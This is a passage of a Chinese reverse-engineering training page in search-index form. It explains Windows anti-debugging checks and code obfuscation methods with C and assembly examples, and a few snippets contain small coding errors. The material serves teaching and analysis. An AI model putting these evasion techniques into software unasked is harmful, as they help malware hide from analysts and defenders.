\u53e5\u67c4\u8868\u793a\u7684\u8fdb\u7a0b\u5904\u4e8e\u8c03\u8bd5\u4e0a\u4e0b\u6587\uff0c\u5219\u8bbe\u7f6e pbDebuggerPresent
\u53d8\u91cf\u88ab\u8bbe\u7f6e\u4e3a TRUE
\uff0c\u5426\u5219\u88ab\u8bbe\u7f6e\u4e3a FALSE
\u3002
BOOL CheckDebug() \n{ \n BOOL ret; \n CheckRemoteDebuggerPresent(GetCurrentProcess(), &ret); \n return ret; \n}\n
NtQueryInformationProcess
\u7528\u4e8e\u83b7\u53d6\u7ed9\u5b9a\u8fdb\u7a0b\u7684\u4fe1\u606f\uff1a
NTSTATUS WINAPI NtQueryInformationProcess(\n _In_ HANDLE ProcessHandle,\n _In_ PROCESSINFOCLASS ProcessInformationClass,\n _Out_ PVOID ProcessInformation,\n _In_ ULONG ProcessInformationLength,\n _Out_opt_ PULONG ReturnLength\n);\n
\u7b2c\u4e8c\u4e2a\u53c2\u6570 ProcessInformationClass
\u7ed9\u5b9a\u4e86\u9700\u8981\u67e5\u8be2\u7684\u8fdb\u7a0b\u4fe1\u606f\u7c7b\u578b\u3002\u5f53\u7ed9\u5b9a\u503c\u4e3a 0
\uff08ProcessBasicInformation
\uff09\u6216 7
\uff08ProcessDebugPort
\uff09\u65f6\uff0c\u5c31\u80fd\u5f97\u5230\u76f8\u5173\u8c03\u8bd5\u4fe1\u606f\uff0c\u8fd4\u56de\u4fe1\u606f\u4f1a\u5199\u5230\u7b2c\u4e09\u4e2a\u53c2\u6570 ProcessInformation
\u6307\u5411\u7684\u7f13\u51b2\u533a\u4e2d\u3002
\u793a\u4f8b\uff1a
BOOL CheckDebug()\n{\n DWORD dbgport = 0;\n HMODULE hModule = LoadLibrary(\"Ntdll.dll\");\n NtQueryInformationProcessPtr NtQueryInformationProcess = (NtQueryInformationProcessPtr)GetProcAddress(hModule, \"NtQueryInformationProcess\");\n NtQueryInformationProcess(GetCurrentProcess(), 7, &dbgPort, sizeof(dbgPort), NULL);\n return dbgPort != 0;\n}\n
"},{"location":"Training/Material/Reverse/#_55","title":"\u6570\u636e\u68c0\u6d4b","text":"\u6570\u636e\u68c0\u6d4b\u662f\u6307\u7a0b\u5e8f\u901a\u8fc7\u6d4b\u8bd5\u4e00\u4e9b\u4e0e\u8c03\u8bd5\u76f8\u5173\u7684\u5173\u952e\u4f4d\u7f6e\u7684\u6570\u636e\u6765\u5224\u65ad\u662f\u5426\u5904\u4e8e\u8c03\u8bd5\u72b6\u6001\u3002\u6bd4\u5982\u4e0a\u9762\u6240\u8bf4\u7684 PEB \u4e2d\u7684 BeingDebugged
\u53c2\u6570\u3002\u6570\u636e\u68c0\u6d4b\u5c31\u662f\u76f4\u63a5\u5b9a\u4f4d\u5230\u8fd9\u4e9b\u6570\u636e\u5730\u5740\u5e76\u6d4b\u8bd5\u5176\u4e2d\u7684\u6570\u636e\uff0c\u4ece\u800c\u907f\u514d\u8c03\u7528\u51fd\u6570\uff0c\u4f7f\u7a0b\u5e8f\u7684\u884c\u4e3a\u66f4\u52a0\u9690\u853d\u3002
\u793a\u4f8b\uff1a
BOOL CheckDebug()\n{\n int BeingDebug = 0;\n __asm\n {\n mov eax, dword ptr fs:[30h] ; \u6307\u5411PEB\u57fa\u5730\u5740\n mov eax, dword ptr [eax+030h]\n movzx eax, byte ptr [eax+2]\n mov BeingDebug, eax\n }\n return BeingDebug != 0;\n}\n
\u7531\u4e8e\u8c03\u8bd5\u5668\u4e2d\u542f\u52a8\u7684\u8fdb\u7a0b\u4e0e\u6b63\u5e38\u542f\u52a8\u7684\u8fdb\u7a0b\u521b\u5efa\u5806\u7684\u65b9\u5f0f\u6709\u4e9b\u4e0d\u540c\uff0c\u7cfb\u7edf\u4f7f\u7528 PEB \u7ed3\u6784\u504f\u79fb\u91cf 0x68 \u5904\u7684\u4e00\u4e2a\u672a\u516c\u5f00\u7684\u4f4d\u7f6e\uff0c\u6765\u51b3\u5b9a\u5982\u679c\u521b\u5efa\u5806\u7ed3\u6784\u3002\u5982\u679c\u8fd9\u4e2a\u4f4d\u7f6e\u4e0a\u7684\u503c\u4e3a 0x70
\uff0c\u5219\u8fdb\u7a0b\u5904\u4e8e\u8c03\u8bd5\u5668\u4e2d\u3002
\u793a\u4f8b\uff1a
BOOL CheckDebug()\n{\n int BeingDbg = 0;\n __asm\n {\n mov eax, dword ptr fs:[30h]\n mov eax, dword ptr [eax + 68h]\n and eax, 0x70\n mov BeingDbg, eax\n }\n return BeingDbg != 0;\n}\n
"},{"location":"Training/Material/Reverse/#_56","title":"\u7b26\u53f7\u68c0\u6d4b","text":"\u7b26\u53f7\u68c0\u6d4b\u4e3b\u8981\u9488\u5bf9\u4e00\u4e9b\u4f7f\u7528\u4e86\u9a71\u52a8\u7684\u8c03\u8bd5\u5668\u6216\u76d1\u89c6\u5668\uff0c\u8fd9\u7c7b\u8c03\u8bd5\u5668\u5728\u542f\u52a8\u540e\u4f1a\u521b\u5efa\u76f8\u5e94\u7684\u9a71\u52a8\u94fe\u63a5\u7b26\u53f7\uff0c\u4ee5\u7528\u4e8e\u5e94\u7528\u5c42\u4e0e\u5176\u9a71\u52a8\u7684\u901a\u4fe1\u3002\u4f46\u7531\u4e8e\u8fd9\u4e9b\u7b26\u53f7\u4e00\u822c\u90fd\u6bd4\u8f83\u56fa\u5b9a\uff0c\u6240\u4ee5\u5c31\u53ef\u4ee5\u901a\u8fc7\u8fd9\u4e9b\u7b26\u53f7\u6765\u786e\u5b9a\u662f\u5426\u5b58\u5728\u76f8\u5e94\u7684\u8c03\u8bd5\u8f6f\u4ef6\u3002
\u793a\u4f8b\uff1a
BOOL CheckDebug()\n{\n HANDLE hDevice = CreateFileA(\"\\\\\\\\.\\\\PROCEXP153\", GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0);\n if (hDevice)\n {\n return 0;\n }\n}\n
"},{"location":"Training/Material/Reverse/#_57","title":"\u7a97\u53e3\u68c0\u6d4b","text":"\u7a97\u53e3\u68c0\u6d4b\u901a\u8fc7\u68c0\u6d4b\u5f53\u524d\u684c\u9762\u4e2d\u662f\u5426\u5b58\u5728\u7279\u5b9a\u7684\u8c03\u8bd5\u7a97\u53e3\u6765\u5224\u65ad\u662f\u5426\u5b58\u5728\u8c03\u8bd5\u5668\uff0c\u4f46\u4e0d\u80fd\u5224\u65ad\u8be5\u8c03\u8bd5\u5668\u662f\u5426\u6b63\u5728\u8c03\u8bd5\u8be5\u7a0b\u5e8f\u3002
\u793a\u4f8b\uff1a
BOOL CheckDebug()\n{\n if (FindWindowA(\"OllyDbg\", 0))\n {\n return 0;\n }\n return 1;\n}\n
"},{"location":"Training/Material/Reverse/#_58","title":"\u7279\u5f81\u7801\u68c0\u6d4b","text":"\u7279\u5f81\u7801\u68c0\u6d4b\u679a\u4e3e\u5f53\u524d\u6b63\u5728\u8fd0\u884c\u7684\u8fdb\u7a0b\uff0c\u5e76\u5728\u8fdb\u7a0b\u7684\u5185\u5b58\u7a7a\u95f4\u4e2d\u641c\u7d22\u7279\u5b9a\u8c03\u8bd5\u5668\u7684\u4ee3\u7801\u7247\u6bb5\u3002
\u4f8b\u5982 OllyDbg \u6709\u8fd9\u6837\u4e00\u6bb5\u7279\u5f81\u7801\uff1a
0x41, 0x00, 0x62, 0x00, 0x6f, 0x00, 0x75, 0x00, 0x74, 0x00,\n0x20, 0x00, 0x4f, 0x00, 0x6c, 0x00, 0x6c, 0x00, 0x79, 0x00,\n0x44, 0x00, 0x62, 0x00, 0x67, 0x00, 0x00, 0x00, 0x4f, 0x00,\n0x4b, 0x00, 0x00, 0x00\n
\u793a\u4f8b\uff1a
BOOL CheckDebug()\n{\n BYTE sign[] = {0x41, 0x00, 0x62, 0x00, 0x6f, 0x00, 0x75, 0x00, 0x74, 0x00,\n 0x20, 0x00, 0x4f, 0x00, 0x6c, 0x00, 0x6c, 0x00, 0x79, 0x00,\n 0x44, 0x00, 0x62, 0x00, 0x67, 0x00, 0x00, 0x00, 0x4f, 0x00,\n 0x4b, 0x00, 0x00, 0x00;}\n\n PROCESSENTRY32 sentry32 = {0};\n sentry32.dwSize = sizeof(sentry32);\n HANDLE phsnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);\n\n Process32First(phsnap, &sentry32);\n do{\n HANDLE hps = OpenProcess(MAXIMUM_ALLOWED, FALSE, sentry32.th32ProcessID);\n if (hps != 0)\n {\n DWORD szReaded = 0;\n BYTE signRemote[sizeof(sign)];\n ReadProcessMemory(hps, (LPCVOID)0x4f632a, signRemote, sizeof(signRemote), &szReaded);\n if (szReaded > 0)\n {\n if (memcmp(sign, signRemote, sizeof(sign)) == 0)\n {\n CloseHandle(phsnap);\n return 0;\n }\n }\n }\n }\n sentry32.dwSize = sizeof(sentry32);\n}while(Process32Next(phsnap, &sentry32));\n
"},{"location":"Training/Material/Reverse/#_59","title":"\u884c\u4e3a\u68c0\u6d4b","text":"\u884c\u4e3a\u68c0\u6d4b\u662f\u6307\u5728\u7a0b\u5e8f\u4e2d\u901a\u8fc7\u4ee3\u7801\u611f\u77e5\u7a0b\u5e8f\u5904\u4e8e\u8c03\u8bd5\u65f6\u4e0e\u672a\u5904\u4e8e\u8c03\u8bd5\u65f6\u7684\u5404\u79cd\u5dee\u5f02\u6765\u5224\u65ad\u7a0b\u5e8f\u662f\u5426\u5904\u4e8e\u8c03\u8bd5\u72b6\u6001\u3002\u4f8b\u5982\u6211\u4eec\u5728\u8c03\u8bd5\u65f6\u6b65\u8fc7\u4e24\u6761\u6307\u4ee4\u6240\u82b1\u8d39\u7684\u65f6\u95f4\u8fdc\u8fdc\u8d85\u8fc7 CPU \u6b63\u5e38\u6267\u884c\u82b1\u8d39\u7684\u65f6\u95f4\uff0c\u4e8e\u662f\u5c31\u53ef\u4ee5\u901a\u8fc7 rdtsc
\u6307\u4ee4\u6765\u8fdb\u884c\u6d4b\u8bd5\u3002\uff08\u8be5\u6307\u4ee4\u7528\u4e8e\u5c06\u65f6\u95f4\u6807\u7b7e\u8ba1\u6570\u5668\u8bfb\u5165 EDX:EAX
\u5bc4\u5b58\u5668\uff09
\u793a\u4f8b\uff1a
BOOL CheckDebug()\n{\n int BeingDbg = 0;\n __asm\n {\n rdtsc\n mov ecx, edx\n rdtsc\n sub edx, ecx\n mov BeingDbg, edx\n }\n if (BeingDbg > 2)\n {\n return 0;\n }\n return 1;\n}\n
"},{"location":"Training/Material/Reverse/#_60","title":"\u65ad\u70b9\u68c0\u6d4b","text":"\u65ad\u70b9\u68c0\u6d4b\u662f\u6839\u636e\u8c03\u8bd5\u5668\u8bbe\u7f6e\u65ad\u70b9\u7684\u539f\u7406\u6765\u68c0\u6d4b\u8f6f\u4ef6\u4ee3\u7801\u4e2d\u662f\u5426\u8bbe\u7f6e\u4e86\u65ad\u70b9\u3002\u8c03\u8bd5\u5668\u4e00\u822c\u4f7f\u7528\u4e24\u8005\u65b9\u6cd5\u8bbe\u7f6e\u4ee3\u7801\u65ad\u70b9\uff1a
\u9488\u5bf9\u8f6f\u4ef6\u65ad\u70b9\uff0c\u68c0\u6d4b\u7cfb\u7edf\u4f1a\u626b\u63cf\u6bd4\u8f83\u91cd\u8981\u7684\u4ee3\u7801\u533a\u57df\uff0c\u770b\u662f\u5426\u5b58\u5728\u591a\u4f59\u7684 INT3 \u6307\u4ee4\u3002
\u793a\u4f8b\uff1a
BOOL CheckDebug()\n{\n PIMAGE_DOS_HEADER pDosHeader;\n PIMAGE_NT_HEADERS32 pNtHeaders;\n PIMAGE_SECTION_HEADER pSectionHeader;\n DWORD dwBaseImage = (DWORD)GetModuleHandle(NULL);\n pDosHeader = (PIMAGE_DOS_HEADER)dwBaseImage;\n pNtHeaders = (PIMAGE_NT_HEADERS32)((DWORD)pDosHeader + pDosHeader->e_lfanew);\n pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pNtHeaders + sizeof(pNtHeaders->Signature) + sizeof(IMAGE_FILE_HEADER) +\n (WORD)pNtHeaders->FileHeader.SizeOfOptionalHeader);\n DWORD dwAddr = pSectionHeader->VirtualAddress + dwBaseImage;\n DWORD dwCodeSize = pSectionHeader->SizeOfRawData;\n BOOL Found = FALSE;\n __asm\n {\n cld\n mov edi,dwAddr\n mov ecx,dwCodeSize\n mov al,0CCH\n repne scasb ; \u5728EDI\u6307\u5411\u5927\u5c0f\u4e3aECX\u7684\u7f13\u51b2\u533a\u4e2d\u641c\u7d22AL\u5305\u542b\u7684\u5b57\u8282\n jnz NotFound\n mov Found,1\nNotFound:\n }\n return Found;\n}\n
\u800c\u5bf9\u4e8e\u786c\u4ef6\u65ad\u70b9\uff0c\u7531\u4e8e\u7a0b\u5e8f\u5de5\u4f5c\u5728\u4fdd\u62a4\u6a21\u5f0f\u4e0b\uff0c\u65e0\u6cd5\u8bbf\u95ee\u786c\u4ef6\u8c03\u8bd5\u65ad\u70b9\uff0c\u6240\u4ee5\u4e00\u822c\u9700\u8981\u6784\u5efa\u5f02\u5e38\u7a0b\u5e8f\u6765\u83b7\u53d6 DR \u5bc4\u5b58\u5668\u7684\u503c\u3002
\u793a\u4f8b\uff1a
BOOL CheckDebug()\n{\n CONTEXT context; \n HANDLE hThread = GetCurrentThread(); \n context.ContextFlags = CONTEXT_DEBUG_REGISTERS; \n GetThreadContext(hThread, &context); \n if (context.Dr0 != 0 || context.Dr1 != 0 || context.Dr2 != 0 || context.Dr3!=0)\n { \n return 1; \n } \n return 0; \n}\n
"},{"location":"Training/Material/Reverse/#_61","title":"\u884c\u4e3a\u5360\u7528","text":"\u884c\u4e3a\u5360\u7528\u662f\u6307\u5728\u9700\u8981\u4fdd\u62a4\u7684\u7a0b\u5e8f\u4e2d\uff0c\u7a0b\u5e8f\u81ea\u8eab\u5c06\u4e00\u4e9b\u53ea\u80fd\u540c\u65f6\u6709 1 \u4e2a\u5b9e\u4f8b\u7684\u529f\u80fd\u5360\u4e3a\u5df1\u7528\u3002\u6bd4\u5982\u4e00\u822c\u60c5\u51b5\u4e0b\uff0c\u4e00\u4e2a\u8fdb\u7a0b\u53ea\u80fd\u540c\u65f6\u88ab 1 \u4e2a\u8c03\u8bd5\u5668\u8c03\u8bd5\uff0c\u90a3\u4e48\u5c31\u53ef\u4ee5\u8bbe\u8ba1\u4e00\u79cd\u6a21\u5f0f\uff0c\u5c06\u7a0b\u5e8f\u4ee5\u8c03\u8bd5\u65b9\u5f0f\u542f\u52a8\uff0c\u7136\u540e\u5229\u7528\u7cfb\u7edf\u7684\u8c03\u8bd5\u673a\u5236\u9632\u6b62\u88ab\u5176\u4ed6\u8c03\u8bd5\u5668\u8c03\u8bd5\u3002
"},{"location":"Training/Material/Reverse/#_62","title":"\u6307\u4ee4\u6df7\u6dc6","text":"\u8f6f\u4ef6\u7684\u5b89\u5168\u6027\u4e25\u91cd\u4f9d\u8d56\u4e8e\u4ee3\u7801\u590d\u6742\u5316\u540e\u88ab\u5206\u6790\u8005\u7406\u89e3\u7684\u96be\u5ea6\uff0c\u901a\u8fc7\u6307\u4ee4\u6df7\u6dc6\uff0c\u53ef\u4ee5\u5c06\u539f\u59cb\u7684\u4ee3\u7801\u6307\u4ee4\u8f6c\u6362\u4e3a\u7b49\u4ef7\u4f46\u6781\u5176\u590d\u6742\u7684\u6307\u4ee4\uff0c\u4ece\u800c\u5c3d\u53ef\u80fd\u5730\u63d0\u9ad8\u5206\u6790\u548c\u7834\u89e3\u7684\u6210\u672c\u3002
"},{"location":"Training/Material/Reverse/#_64","title":"\u5e38\u89c1\u7684\u6df7\u6dc6\u65b9\u6cd5","text":""},{"location":"Training/Material/Reverse/#_65","title":"\u4ee3\u7801\u53d8\u5f62","text":"\u4ee3\u7801\u53d8\u5f62\u662f\u6307\u5c06\u5355\u6761\u6216\u591a\u6761\u6307\u4ee4\u8f6c\u53d8\u4e3a\u7b49\u4ef7\u7684\u5355\u6761\u6216\u591a\u6761\u5176\u4ed6\u6307\u4ee4\u3002\u5176\u4e2d\u5bf9\u5355\u6761\u6307\u4ee4\u7684\u53d8\u5f62\u53eb\u505a\u5c40\u90e8\u53d8\u5f62\uff0c\u5bf9\u591a\u6761\u6307\u4ee4\u7ed3\u5408\u8d77\u6765\u8003\u8651\u7684\u53d8\u6210\u53eb\u505a\u5168\u5c40\u53d8\u5f62\u3002
\u4f8b\u5982\u4e0b\u9762\u8fd9\u6837\u7684\u4e00\u6761\u8d4b\u503c\u6307\u4ee4\uff1a
mov eax, 12345678h\n
\u53ef\u4ee5\u4f7f\u7528\u4e0b\u9762\u7684\u7ec4\u5408\u6307\u4ee4\u6765\u66ff\u4ee3\uff1a
push 12345678h\npop eax\n
\u66f4\u8fdb\u4e00\u6b65\uff1a
pushfd\nmov eax, 1234\nshl eax, 10\nmov ax, 5678\npopfd\n
pushfd
\u548c popfd
\u662f\u4e3a\u4e86\u4fdd\u62a4 EFLAGS \u5bc4\u5b58\u5668\u4e0d\u53d7\u53d8\u5f62\u540e\u6307\u4ee4\u7684\u5f71\u54cd\u3002
\u7ee7\u7eed\u66ff\u6362\uff1a
pushfd\npush 1234\npop eax\nshl eax, 10\nmov ax 5678\n
\u8fd9\u6837\u7684\u7ed3\u679c\u5c31\u662f\u7b80\u5355\u7684\u6307\u4ee4\u4e5f\u53ef\u80fd\u4f1a\u53d8\u6210\u4e0a\u767e\u4e0a\u5343\u6761\u6307\u4ee4\uff0c\u5927\u5927\u63d0\u9ad8\u4e86\u7406\u89e3\u7684\u96be\u5ea6\u3002
\u518d\u770b\u4e0b\u9762\u7684\u4f8b\u5b50\uff1a
jmp {label}\n
\u53ef\u4ee5\u53d8\u6210\uff1a
push {label}\nret\n
\u800c\u4e14 IDA \u4e0d\u80fd\u8bc6\u522b\u51fa\u8fd9\u79cd label \u6807\u7b7e\u7684\u8c03\u7528\u7ed3\u6784\u3002
\u6307\u4ee4\uff1a
call {label}\n
\u53ef\u4ee5\u66ff\u6362\u6210\uff1a
push {call\u6307\u4ee4\u540e\u9762\u7684\u90a3\u4e2alabel}\npush {label}\nret\n
\u6307\u4ee4\uff1a
push {op}\n
\u53ef\u4ee5\u66ff\u6362\u6210\uff1a
sub esp, 4\nmov [esp], {op}\n
\u4e0b\u9762\u6211\u4eec\u6765\u770b\u770b\u5168\u5c40\u53d8\u5f62\u3002\u5bf9\u4e8e\u4e0b\u9762\u7684\u4ee3\u7801\uff1a
mov eax, ebx\nmov ecx, eax\n
\u56e0\u4e3a\u4e24\u6761\u4ee3\u7801\u5177\u6709\u5173\u8054\u6027\uff0c\u5728\u53d8\u5f62\u65f6\u9700\u8981\u7efc\u5408\u8003\u8651\uff0c\u4f8b\u5982\u4e0b\u9762\u8fd9\u6837\uff1a
mov cx, bx\nmov ax, cx\nmov ch, bh\nmov ah, bh\n
\u8fd9\u79cd\u5177\u6709\u5173\u8054\u6027\u7684\u7279\u5b9a\u4f7f\u5f97\u901a\u8fc7\u53d8\u5f62\u540e\u7684\u4ee3\u7801\u63a8\u5bfc\u53d8\u5f62\u524d\u7684\u4ee3\u7801\u66f4\u52a0\u56f0\u96be\u3002
"},{"location":"Training/Material/Reverse/#_66","title":"\u82b1\u6307\u4ee4","text":"\u82b1\u6307\u4ee4\u5c31\u662f\u5728\u539f\u59cb\u6307\u4ee4\u4e2d\u63d2\u5165\u4e00\u4e9b\u867d\u7136\u53ef\u4ee5\u88ab\u6267\u884c\u4f46\u662f\u6ca1\u6709\u4efb\u4f55\u4f5c\u7528\u7684\u6307\u4ee4\uff0c\u5b83\u7684\u51fa\u73b0\u53ea\u662f\u4e3a\u4e86\u6270\u4e71\u5206\u6790\uff0c\u4e0d\u4ec5\u662f\u5bf9\u5206\u6790\u8005\u6765\u8bf4\uff0c\u8fd8\u662f\u5bf9\u53cd\u6c47\u7f16\u5668\u3001\u8c03\u8bd5\u5668\u6765\u8bf4\u3002
\u6765\u770b\u4e2a\u4f8b\u5b50\uff0c\u539f\u59cb\u6307\u4ee4\u5982\u4e0b\uff1a
add eax, ebx\nmul ecx\n
\u52a0\u5165\u82b1\u6307\u4ee4\u4e4b\u540e\uff1a
xor esi, 011223344h\nadd esi, eax\nadd eax, ebx\nmov edx, eax\nshl edx, 4\nmul ecx\nxor esi, ecx\n
\u5176\u4e2d\u4f7f\u7528\u4e86\u6e90\u7a0b\u5e8f\u4e0d\u4f1a\u4f7f\u7528\u5230\u7684 esi \u548c edx \u5bc4\u5b58\u5668\u3002\u8fd9\u5c31\u662f\u4e00\u79cd\u7eaf\u7cb9\u7684\u5783\u573e\u6307\u4ee4\u3002
\u6709\u7684\u82b1\u6307\u4ee4\u7528\u4e8e\u5e72\u6270\u53cd\u6c47\u7f16\u5668\uff0c\u4f8b\u5982\u4e0b\u9762\u8fd9\u6837\uff1a
01003689 50 push eax\n0100368A 53 push ebx\n
\u52a0\u5165\u82b1\u6307\u4ee4\u540e\uff1a
01003689 50 push eax\n0100368A EB 01 jmp short 0100368D\n0100368C FF53 6A call dword ptr [ebx+6A]\n
\u4e4d\u4e00\u770b\u4f3c\u4e4e\u5f88\u5947\u602a\uff0c\u5176\u5b9e\u662f\u52a0\u5165\u56e0\u4e3a\u52a0\u5165\u4e86\u673a\u5668\u7801 EB 01 FF
\uff0c\u4f7f\u5f97\u7ebf\u6027\u5206\u6790\u7684\u53cd\u6c47\u7f16\u5668\u4ea7\u751f\u4e86\u8bef\u5224\u3002\u800c\u5728\u6267\u884c\u65f6\uff0c\u7b2c\u4e8c\u6761\u6307\u4ee4\u4f1a\u8df3\u8f6c\u5230\u6b63\u786e\u7684\u4f4d\u7f6e\uff0c\u6d41\u7a0b\u5982\u4e0b\uff1a
01003689 50 push eax\n0100368A EB 01 jmp short 0100368D\n0100368C 90 nop\n0100368D 53 push ebx\n
"},{"location":"Training/Material/Reverse/#_67","title":"\u6270\u4e71\u6307\u4ee4\u5e8f\u5217","text":"\u6307\u4ee4\u4e00\u822c\u90fd\u662f\u6309\u7167\u4e00\u5b9a\u5e8f\u5217\u6267\u884c\u7684\uff0c\u4f8b\u5982\u4e0b\u9762\u8fd9\u6837\uff1a
01003689 push eax\n0100368A push ebx\n0100368B xor eax, eax\n0100368D cmp eax, 0\n01003690 jne short 01003695\n01003692 inc eax\n01003693 jmp short 0100368D\n01003695 pop ebx\n01003696 pop eax\n
\u6307\u4ee4\u5e8f\u5217\u770b\u8d77\u6765\u5f88\u6e05\u6670\uff0c\u6240\u4ee5\u6270\u4e71\u6307\u4ee4\u5e8f\u5217\u5c31\u662f\u8981\u6253\u4e71\u8fd9\u79cd\u6307\u4ee4\u7684\u6392\u5217\u65b9\u5f0f\uff0c\u4ee5\u5e72\u6270\u5206\u6790\u8005\uff1a
01003689 push eax\n0100368A jmp short 01003694\n0100368C xor eax, eax\n0100368E jmp short 01003697\n01003690 jne short 0100369F\n01003692 jmp short 0100369C\n01003694 push ebx\n01003695 jmp short 0100368C\n01003697 cmp eax, 0\n0100369A jmp short 01003690\n0100369C inc eax\n0100369D jmp short 01003697\n0100369F pop ebx\n010036A0 pop eax\n
\u867d\u7136\u770b\u8d77\u6765\u5f88\u4e71\uff0c\u4f46\u771f\u5b9e\u7684\u6267\u884c\u987a\u5e8f\u6ca1\u6709\u6539\u53d8\u3002
"},{"location":"Training/Material/Reverse/#_68","title":"\u591a\u5206\u652f","text":"\u591a\u5206\u652f\u662f\u6307\u5229\u7528\u4e0d\u540c\u7684\u6761\u4ef6\u8df3\u8f6c\u6307\u4ee4\u5c06\u7a0b\u5e8f\u7684\u6267\u884c\u6d41\u7a0b\u590d\u6742\u5316\u3002\u4e0e\u6270\u4e71\u6307\u4ee4\u5e8f\u5217\u4e0d\u540c\u7684\u65f6\uff0c\u591a\u5206\u652f\u6539\u53d8\u4e86\u7a0b\u5e8f\u7684\u6267\u884c\u6d41\u3002\u4e3e\u4e2a\u4f8b\u5b50\uff1a
01003689 push eax\n0100368A push ebx\n0100368B push ecx\n0100368C push edx\n
\u53d8\u5f62\u5982\u4e0b\uff1a
01003689 push eax\n0100368A je short 0100368F\n0100368C push ebx\n0100368D jmp short 01003690\n0100368F push ebx\n01003690 push ecx\n01003691 push edx\n
\u4ee3\u7801\u91cc\u52a0\u5165\u4e86\u4e00\u4e2a\u6761\u4ef6\u5206\u652f\uff0c\u4f46\u5b83\u7a76\u7adf\u4f1a\u4e0d\u4f1a\u89e6\u53d1\u6211\u4eec\u5e76\u4e0d\u5173\u5fc3\u3002\u4e8e\u662f\u7a0b\u5e8f\u5177\u6709\u4e86\u4e0d\u786e\u5b9a\u6027\uff0c\u9700\u8981\u5728\u6267\u884c\u65f6\u624d\u80fd\u786e\u5b9a\u3002\u4f46\u53ef\u4ee5\u80af\u5b9a\u7684\u65f6\uff0c\u8fd9\u6bb5\u4ee3\u7801\u7684\u6267\u884c\u7ed3\u679c\u548c\u539f\u4ee3\u7801\u76f8\u540c\u3002
\u518d\u6539\u8fdb\u4e00\u4e0b\uff0c\u7528\u4e0d\u540c\u7684\u4ee3\u7801\u66ff\u6362\u5206\u652f\u5904\u7684\u4ee3\u7801\uff1a
01003689 push eax\n0100368A je short 0100368F\n0100368C push ebx\n0100368D jmp short 01003693\n0100368F push eax\n01003690 mov dword ptr [esp], ebx\n01003693 push ecx\n01003694 push edx\n
"},{"location":"Training/Material/Reverse/#_69","title":"\u4e0d\u900f\u660e\u8c13\u8bcd","text":"\u4e0d\u900f\u660e\u8c13\u8bcd\u662f\u6307\u4e00\u4e2a\u8868\u8fbe\u5f0f\u7684\u503c\u5728\u6267\u884c\u5230\u67d0\u5904\u65f6\uff0c\u5bf9\u7a0b\u5e8f\u5458\u800c\u8a00\u662f\u5df2\u77e5\u7684\uff0c\u4f46\u7f16\u8bd1\u5668\u6216\u9759\u6001\u5206\u6790\u5668\u65e0\u6cd5\u63a8\u65ad\u51fa\u8fd9\u4e2a\u503c\uff0c\u53ea\u80fd\u5728\u8fd0\u884c\u65f6\u786e\u5b9a\u3002\u4e0a\u9762\u7684\u591a\u5206\u652f\u5176\u5b9e\u4e5f\u662f\u5229\u7528\u4e86\u4e0d\u900f\u660e\u8c13\u8bcd\u3002
\u4e0b\u9762\u7684\u4ee3\u7801\u4e2d\uff1a
mov esi, 1\n... ; some code not touching esi\ndec esi\n...\ncmp esi, 0\njz real_code\n; fake luggage\nreal_code:\n
\u5047\u8bbe\u6211\u4eec\u77e5\u9053\u8fd9\u91cc esi \u7684\u503c\u80af\u5b9a\u662f 0\uff0c\u90a3\u4e48\u5c31\u53ef\u4ee5\u5728 fake luggage \u5904\u63d2\u5165\u4efb\u610f\u957f\u5ea6\u548c\u590d\u6742\u5ea6\u7684\u6307\u4ee4\uff0c\u4ee5\u8fbe\u5230\u6df7\u6dc6\u7684\u76ee\u7684\u3002
\u5176\u5b83\u7684\u4f8b\u5b50\u8fd8\u6709\uff08\u540c\u6837\u5047\u8bbeesi\u4e3a0\uff09\uff1a
add eax, ebx\nmul ecx\nadd eax, esi\n
"},{"location":"Training/Material/Reverse/#_70","title":"\u95f4\u63a5\u6307\u9488","text":"dummy_data1 db 100h dup (0)\nmessage1 db 'hello world', 0\n\ndummy_data2 db 200h dup (0)\nmessage2 db 'another message', 0\n\nfunc proc\n ...\n mov eax, offset dummy_data1\n add eax, 100h\n push eax\n call dump_string\n ...\n mov eax, offset dummy_data2\n add eax, 200h\n push eax\n call dump_string\n ...\nfunc endp\n
\u8fd9\u91cc\u901a\u8fc7 dummy_data \u6765\u95f4\u63a5\u5730\u5f15\u7528 message\uff0c\u4f46 IDA \u5c31\u4e0d\u80fd\u6b63\u786e\u5730\u5206\u6790\u5230\u5bf9 message \u7684\u5f15\u7528\u3002
"},{"location":"Training/Material/Reverse/#_71","title":"\u4ee3\u7801\u865a\u62df\u5316","text":"\u57fa\u4e8e\u865a\u62df\u673a\u7684\u4ee3\u7801\u4fdd\u62a4\u4e5f\u53ef\u4ee5\u7b97\u662f\u4ee3\u7801\u6df7\u6dc6\u6280\u672f\u7684\u4e00\u79cd\uff0c\u662f\u76ee\u524d\u5404\u79cd\u6df7\u6dc6\u4e2d\u4fdd\u62a4\u6548\u679c\u6700\u597d\u7684\u3002\u7b80\u5355\u5730\u8bf4\uff0c\u8be5\u6280\u672f\u5c31\u662f\u901a\u8fc7\u8bb8\u591a\u6a21\u62df\u4ee3\u7801\u6765\u6a21\u62df\u88ab\u4fdd\u62a4\u7684\u4ee3\u7801\u7684\u6267\u884c\uff0c\u7136\u540e\u8ba1\u7b97\u51fa\u4e0e\u88ab\u4fdd\u62a4\u4ee3\u7801\u6267\u884c\u65f6\u76f8\u540c\u7684\u7ed3\u679c\u3002
+------------+\n| \u5934\u90e8\u6307\u4ee4\u5e8f\u5217 | -------> | \u4ee3\u7801\u865a\u62df\u673a\u5165\u53e3 |\n|------------| |\n| | | \u4fdd\u5b58\u4ee3\u7801\u73b0\u573a |\n| | |\n| \u4e2d\u95f4\u6307\u4ee4\u5e8f\u5217 | | \u6a21\u62df\u6267\u884c\u4e2d\u95f4\u6307\u4ee4\u5e8f\u5217 |\n| | |\n| | | \u8bbe\u7f6e\u65b0\u7684\u4ee3\u7801\u73b0\u573a |\n|------------| |\n| \u5c3e\u90e8\u6307\u4ee4\u5e8f\u5217 | <------- | \u4ee3\u7801\u865a\u62df\u673a\u51fa\u53e3 |\n+------------+\n
